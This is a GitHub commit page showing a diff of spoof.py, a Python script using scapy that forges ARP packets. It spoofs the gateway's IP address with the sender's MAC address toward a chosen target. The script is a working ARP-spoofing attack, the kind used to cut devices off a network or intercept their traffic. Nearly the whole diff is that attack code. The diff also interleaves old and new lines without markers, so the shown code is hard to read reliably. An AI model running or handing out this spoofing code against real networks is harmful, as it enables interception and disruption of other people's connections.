final spoof.py with callable function

This commit is contained in:
xdavidhu 2016-12-28 10:11:31 +01:00 committed by GitHub
parent c3e1bb2d2a
commit 788c400f1a

View File

@ -1,46 +1,29 @@
import sys
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
def sendPacket(my_mac, interface, my_ip, target_ip, target_mac):
try:
my_mac = sys.argv[1]
interface = sys.argv[2]
my_ip = sys.argv[3]
target_ip = sys.argv[4]
target_mac = sys.argv[5]
except:
print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]"
exit()
import sys
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
ether = Ether()
ether.src = my_mac # Default: network card mac
ether = Ether()
ether.src = my_mac
arp = ARP()
arp.psrc = my_ip
arp.hwsrc = my_mac
arp = ARP()
arp.psrc = my_ip
arp.hwsrc = my_mac
arp = arp
arp.pdst = target_ip # Default: 0.0.0.0
arp.hwdst = target_mac # Default: 00:00:00:00:00:00
arp = arp
arp.pdst = target_ip
arp.hwdst = target_mac
ether = ether
ether.src = my_mac
ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f
ether = ether
ether.src = my_mac
ether.dst = target_mac
def craftRequestPkt():
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
def craftReplyPkt():
arp.op = 2
packet = ether/arp
sendp(x=packet, inter=1, count=1000)
if __name__ == '__main__':
craftReplyPkt()
sendp(x=packet)